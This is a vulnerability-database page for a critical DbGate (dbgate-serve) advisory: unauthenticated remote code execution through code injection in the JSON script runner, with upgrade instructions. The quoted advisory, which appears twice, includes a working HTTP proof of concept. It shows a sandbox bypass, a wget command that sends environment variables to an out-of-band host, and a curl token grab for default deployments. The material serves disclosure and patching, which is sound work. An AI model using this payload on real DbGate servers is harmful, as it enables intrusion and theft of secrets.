Vulnerabilities in pkg:npm/dbgate-serve

PACKAGE
Advisory Identifier: GHSA-8v3q-9vmx-36vc
Advisory Summary

CVE-2026-47668 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting DbGate libraries in the npm ecosystem. The issue involves unauthenticated remote code execution via json script runner. Remediation is available by upgrading affected packages to version 7.1.9.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/dbgate-serve

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/dbgate-serve. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-8v3q-9vmx-36vc CVE-2026-47668 CRITICAL DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

CVE-2026-47668 at a Glance

CVE Identifier CVE-2026-47668
GHSA Identifier GHSA-8v3q-9vmx-36vc
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product DbGate
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47668

To remediate this vulnerability, upgrade all affected DbGate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dbgate-serve fixed: 7.1.9
npm install dbgate-serve@7.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls dbgate-serve

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-47668, inspect your project dependencies using npm:

npm ls dbgate-serve

Analyze the terminal output to locate any version of DbGate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.9), your application is affected.

Note: The npm ls dbgate-serve command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In DbGate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. ### Details #### Step 1: User Input Entry Point **File:** `packages/api/src/controllers/runners.js` - `start()` method The `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts: ```javascript async start({ script }, req) { if (script.type == 'json') { if (!platformInfo.isElectron) { if (!checkSecureDirectoriesInScript(script)) { return { errorMessage: 'Unallowed directories in script' }; } } logJsonRunnerScript(req, script); const js = await jsonScriptToJavascript(script); return this.startCore(runid, scriptTemplate(js, false)); } ``` This path skips: 1. The `run-shell-script` permission check 2. The `allowShellScripting` platform-level check The only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values --- #### Step 2: JSON-to-JavaScript Conversion (Injection Point) **File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method The JSON script's `commands` array contains objects with `type: "assign"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values: ```typescript assignCore(variableName, functionName, props) { this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`); } ``` Both `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code. --- #### Step 3: Function Name Compilation **File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()` Before interpolation, `functionName` passes through this function: ```typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } ``` An attacker supplying `functionName: "x;MALICIOUS_CODE;//"` gets: ``` dbgateApi.x;MALICIOUS_CODE;// ``` This is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`. --- #### Step 4: Generated JavaScript Template The complete generated script that gets executed: ```javascript const dbgateApi = require(process.env.DBGATE_API); require = null; async function run() { const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({}); await dbgateApi.finalizer.run(); } dbgateApi.runScript(run); ``` #### Step 5: Execution via child_process.fork() **File:** `packages/api/src/controllers/runners.js` - `startCore()` method The generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules. The `require = null` sandbox can be bypassed via: - `process.mainModule.require()` - separate reference unaffected by the null assignment - `module.constructor._load()` - internal module loader, also unaffected --- #### Additional Injection Points The same unsanitised string interpolation pattern exists in: | Endpoint | Parameter | File | |----------|-----------|------| | `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` | ### PoC ```http POST /runners/start HTTP/1.1 Host: <dbgate-instance>:3000 Authorization: Bearer <token> Content-Type: application/json { "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//", "props": {} } ], "packageNames": [] } } ``` The request to the out of band host was as follows: ```http POST / HTTP/1.1 Host: <out of band host> User-Agent: Wget/1.21.3 Accept: */* Accept-Encoding: identity Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 251 NODE_VERSION=22.22.2 HOSTNAME=4714c7a7405f YARN_VERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATE_API=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c ``` --- A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using: ```bash curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login ``` ### Impact | Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (`authProvider: "Anonymous"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | ### Timeline | Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure | ### Acknowledgements - Discovery assisted by Neo from @ProjectDiscovery - Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

CVE-2026-47668 Affected DbGate Versions

1 component(s)
Fixed Versions:
7.1.9
Product / Package Ecosystem Affected Versions Fixed Version
dbgate-serve
npm
< 7.1.9
7.1.9

References

Frequently Asked Questions

What is CVE-2026-47668?
CVE-2026-47668 is a security vulnerability in DbGate involving Unauthenticated Remote Code Execution via JSON Script Runner under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which DbGate versions are affected?
Affected versions include releases prior to 7.1.9 across affected packages: dbgate-serve.
What version fixes CVE-2026-47668?
Upgrading to 7.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dbgate-serve affected?
Yes, dbgate-serve is affected in releases prior to 7.1.9. Upgrade your dependency to 7.1.9 or later.
What is the CVSS score of CVE-2026-47668?
CVE-2026-47668 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-47668?
CVE-2026-47668 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-47668?
Run the dependency tree command: 'npm ls dbgate-serve'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8v3q-9vmx-36vc",
  "modified" : "2026-06-05T16:25:23Z",
  "published" : "2026-06-05T16:25:23Z",
  "aliases" : [ "CVE-2026-47668" ],
  "summary" : "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner",
  "details" : "### Summary\nDbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n    if (script.type == 'json') {\n        if (!platformInfo.isElectron) {\n            if (!checkSecureDirectoriesInScript(script)) {\n                return { errorMessage: 'Unallowed directories in script' };\n            }\n        }\n        logJsonRunnerScript(req, script);\n        const js = await jsonScriptToJavascript(script);\n        return this.startCore(runid, scriptTemplate(js, false));\n    }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script's `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n    if (nsMatch) {\n        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n    }\n    return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});\n    await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: <dbgate-instance>:3000\nAuthorization: Bearer <token>\nContent-Type: application/json\n\n{\n  \"script\": {\n    \"type\": \"json\",\n    \"commands\": [\n      {\n        \"type\": \"assign\",\n        \"variableName\": \"x\",\n        \"functionName\": \"x;process.mainModule.require('child_process').execSync('wget --post-data \\\"$(env 2>1&)\\\" <out of band host>');//\",\n        \"props\": {}\n      }\n    ],\n    \"packageNames\": []\n  }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: <out of band host>\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\"   -d '{\"amoid\":\"none\"}'   <dbgate-instance>:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access |  9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dbgate-serve"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.1.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.1.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dbgate/dbgate"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-20", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-05T16:25:23Z",
    "nvd_published_at" : null
  }
}